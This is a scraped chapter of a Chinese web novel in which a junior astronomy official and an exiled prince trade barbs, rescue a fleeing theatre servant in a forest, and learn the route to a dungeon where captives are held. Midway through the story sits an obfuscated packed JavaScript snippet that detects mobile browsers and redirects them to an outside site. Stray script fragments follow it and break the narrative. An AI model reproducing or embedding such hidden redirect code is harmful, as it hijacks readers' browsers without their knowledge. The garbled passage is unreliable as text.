默认冷灰
24号文字
方正启体

39. 心宜气静

作者:椅而参本书字数:K更新时间:
    邬行香没想到,自己被李嗣瞻反将一军。


    她一时语塞。


    李嗣瞻却追问道:


    “怎么不说话?难道是心虚吗?


    堪舆有阴阳官,星占有灵台郎,其他测算占卜有五官正。


    为何你一个天文官,好像什么都会?”


    邬行香觉得自己的老底都要被李嗣瞻揭穿了。


    她满心慌乱,又不敢表现出来,被李嗣瞻发现。


    他怎么知道这么多?!


    她默念着心宜气静,心宜气静,心宜气静。


    待稳定心神后,邬行香故作沉稳道:


    “殿下你也知道,我只是个九品小女官。


    日常就是在司天监待着,观测记录天象,那种重要的事也轮不到我。


    所以空闲之时,我就会翻翻司天监的藏书。


    人生漫漫,学海无涯。


    可惜纸上得来终觉浅,我没什么实战经验。


    此番出行,方得机缘,使所学之识,稍有可用之处。”


    “哦?”


    李嗣瞻面上并无喜怒。


    他信与不信,实难揣测。


    倒是邬行香,专注望向李嗣瞻,双眸满是期许,盼他继续说下去。


    李嗣瞻见状,嘴角微扬道:


    “你也知道,我只是个不受宠的皇子。


    日常就是在王府待着,无论是军机政务,还是礼典,那种重要的事也轮不到我。


    所以空闲之时,我就会翻翻武术技艺的书。


    人生漫漫,学海无涯。


    可惜纸上得来终觉浅,我没什么实战经验。


    此番出行,方得机缘,使所学之识,稍有可用之处。”


    李嗣瞻所言,不仅话语与邬行香所说的完全一样。


    语调亦是依样学来,相差无几。


    邬行香哭笑不得,不知如何应对。


    最终,她尴尬道:


    “难怪有人说,世上最了解你的,可能不是你的朋友,而是你的敌人。”


    她之所以越来越放心施展所学,是因为一路走来,她见李嗣瞻如此厌恶司天监,想必也不清楚司天监的具体职能。


    毕竟一个萝卜一个坑。


    一个坑里有独立明确的职责范围,那是高官才有的待遇。


    若是杂职,或她这样的小官,自然是身兼数职,忙死忙活。


    李嗣瞻听闻此言,疑惑道:“你说的敌人,是指我?”


    邬行香慌乱道:“不是不是。殿下你听错了。”


    “我听得清清楚楚。”


    李嗣瞻继续道:


    “我记得律疏有云,口出恶言辱骂皇子,或编造不实之词污蔑者,皆属大不敬之罪。”


    邬行香急忙道:“我的意思是,我是敌人,殿下是好人。”


    李嗣瞻还想说些什么,却先忍不住笑了出来。


    “逗你玩的。


    只是见你经常提到律疏,好像我随时要罚你一样。


    不说了,走吧。”


    邬行香心想,这一点都不好笑。


    好在李嗣瞻不再追问下去。


    她松了一口气,木然的跟在李嗣瞻身后。


    只是若不提李嗣瞻藏着的武功,单论他平日的言谈,也是博学广闻。


    初见时,她还认为李嗣瞻看着难掩忧郁。


    认识越久,她越觉得李嗣瞻举止之间,洒脱自在,并不像是被幽禁数载的落魄皇子。


    难道自己所见的一切,只是李嗣瞻的隐藏伪装。


    现在他装不下去,索性不装了?


    此事甚难,真让人思之不透。


    邬行香摇了摇头,将这个谜团暂时抛却,专心于眼前之路。


    行过一段平坦山路后,眼前出现了一片树林。


    邬行香看向左右山壁后道:“旁无他路,看来只能穿过树林。”


    两人踏入树林,起初倒也寻常。


    月辉透过枝叶,落斑驳光影。


    是山林独有的幽谧。


    只是越往树林深处走,树木陡然拔高,枝干肆意扭曲。


    脚下的路也在不知不觉间变窄,还有杂草疯长。


    先前担心火光闪烁被察觉,故而两人未点火折子。


    眼下月光为重重叠叠之枝叶严遮,林间遂陷昏黯。


    视野不清,才觉虫声鸟叫之音颇大。


    高且茂密的树林,足以隐藏火折子的光点。


    李嗣瞻拿出随身带的火折子点燃,勉强照亮前方的路。


    两人小心翼翼地走着。


    一段距离后,原本狭窄难行的路渐渐变宽。


    李嗣瞻借着火折子低头看去,地面上的泥土被踩踏得颇为平整,显然是经常有人经过的痕迹。


    只是顺着平整路径继续走下去,前方却分出三条路。


    每一条都隐没于黑暗,幽深莫测。


    李嗣瞻举着火折子,俯身细看。


    “这三条路的路面都被踩得平实,脚印深浅与疏密,相差不大。”


    邬行香随着火光望去。


    “的确,这三条路看起来区别不大。


    延伸的方向好像也差不多。


    只是山间歧途交错,踏错一步可能就会误入他径。


    要不,我算一算?”


    李嗣瞻未答,借火光,重新看向三条路。


    他还未看出细致究竟,几阵急促脚步声响起,碎林间僻静。


    “快给我站住!”


    “你是跑不掉的!”


    幽暗前方,一个身影循着火折子的光点,跌跌撞撞地跑来,撞到了邬行香。


    “救救我。”


    火光虽微弱,邬行香却瞬间认出来了,面前之人,是戏班的杂役卓茵茵。


    而在她身后,两个男人紧追不舍,


    他们见到树林中突然冒出来的邬行香李嗣瞻两人,惊讶不已。


    “你们是谁?怎么会到这里来?”


    邬行香因这突如其来的变故惊在原地。


    剑刃出鞘的嗡鸣骤然在耳畔震颤,邬行香的面前掠过一缕劲风。


    寒光几闪后,她低头看见自己手中的剑,只剩下空荡荡的剑鞘。


    抬头看去,李嗣瞻已制服了那二人,并将他们击晕了过去。


    适才李嗣瞻拔剑而出,其动作招式疾若电闪。


    她犹未反应过来。


    李嗣瞻将剑放回邬行香手中的剑鞘内,伸手道:


    “以防万一,给我绳子,我将这二人绑在树上。”


    邬行香惊魂未定,下意识去翻布袋。


    等她找到麻绳后才道:“我的麻绳都是用来占卜的短绳,绑不了人。”


    李嗣瞻闻言,只好撕下那二人的衣袍下摆,当成绳子,将他们捆好。


    邬行香回神过来,心想李嗣瞻的武功果然可怕。


    但眼下如此危险,有一个武功超绝的同伴在身旁,真让人有安全感。


    李嗣瞻检查了绳结后,看向二人奇怪的衣着。


    绛紫色宽大衣袍,背后绣有符文,看起来跟戏台和石门上的符文差不多。


    腰封像是用鸟羽编织而成。


    脸上覆着骨制面具。


    面具的额头中间,不知是用血还是朱砂绘了只眼睛。


    李嗣瞻很是疑惑。


    “他们穿的是什么奇奇怪怪的衣服?”


    邬行香走到他身边,望了望二人的衣着后道:“看起来像是祭袍。”


    卓茵茵惊魂未定跟在她身后。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15054070|158138||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    邬行香转身,温柔地拍着她的背,轻声细语道:


    “别担心,你已经安全了。”


    等卓茵茵稍微平静下来,邬行香开口问道:


    “能告诉我,到底发生了什么事吗?”


    卓茵茵抽抽噎噎地回答:


    “酬神戏的第一天,晚上收工的时候,我在后台角落打扫。


    听见箱倌跟人争执的声音,走出来一看,箱倌居然被人杀了。


    我想逃,却被那人击晕过去。


    再醒来,就是在一个地牢里。”


    邬行香声音轻柔道:


    “别怕,你已经出来了。


    可以告诉我,你在地牢里,有没有看到我们的伙伴吗?


    他叫虎小忠,庙会的前一天,我们在戏台前见过。”


    卓茵茵回想后,哽咽答道:


    “我见过他。


    我在地牢没待多久,就见到陆续有人被关了进来。


    他们会蒙住我们的眼睛。


    我们被关进牢房后,才能摘下遮眼睛的布条。


    当时我见到虎小忠也被带了进来。


    他进了自己的牢房后,好像知道我也在这里,还喊过我的名字。”


    “他知道你在这里?”


    邬行香不解。


    虎小忠出了关帝庙后就失踪了,怎么会知道卓茵茵也出事了?


    卓茵茵点了点头。


    “只是看守的人听见他的声音,不准他继续说话了。”


    李嗣瞻旁听到这里,方才开口。


    “既然有看守的人,为何你能逃出来?”


    卓茵茵闻言痛哭起来。


    “后来,戏班的女武生何入锦也被关了进来。


    我们每天都担惊受怕,不知道会发生什么事。


    直到昨日午后,地牢内看守的人变少了,外面看守的人也撤走了。


    他们好像松懈了下来。


    晚上,何入锦趁着看守的人打盹儿,偷偷告诉我她会开锁。


    然后她真的把锁打开了。


    何入锦说,两个人一起逃走,目标太大。


    她叫我先逃,而她自己会见机行事。若是看守的人醒来,她就弄出些动静吸引注意力。


    我不敢耽搁,拼命地跑。


    只是路上碰上了提前来换班的二人,被他们追了上来。”


    李嗣瞻淡淡道:


    “不过是一个戏班的人,她竟然舍弃自己,让你独自逃走?


    莫不是你们以前认识?还是有什么原因?”


    卓茵茵犹豫了一下,答道:


    “是,我们之前认识。”


    而后,便不再言语。


    李嗣瞻见她不愿多说,指着被他捆好的二人问道:


    “里面的人,都穿着这样的衣服吗?


    还有,从这里到地牢,要怎么走?


    地牢现在有几个人?


    其他的人在哪里?”


    李嗣瞻严词厉色,吓得卓茵茵快速回答道:


    “我见到的人都是穿着这些衣服。


    你们从我刚刚跑来的那条路一直走,经过一条溪流,会看到一条岔路。


    左边那条我远远看去有灯火,应该是那些人住的地方。


    你们要走右边的路,一直走到一个废弃坑。


    那里有一棵大树,大树后有一条被杂草掩盖的隐秘小道。


    到了尽头,就是地牢了。


    从昨日开始,地牢一共就只有两个人看守。


    我知道的,就是这些了。”


    李嗣瞻嗯了一声,俯身扒了被捆二人的奇怪衣袍和面具。


    他很是嫌弃的抖动了数次,将其中一套递给邬行香。


    “忍忍吧,穿上它。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)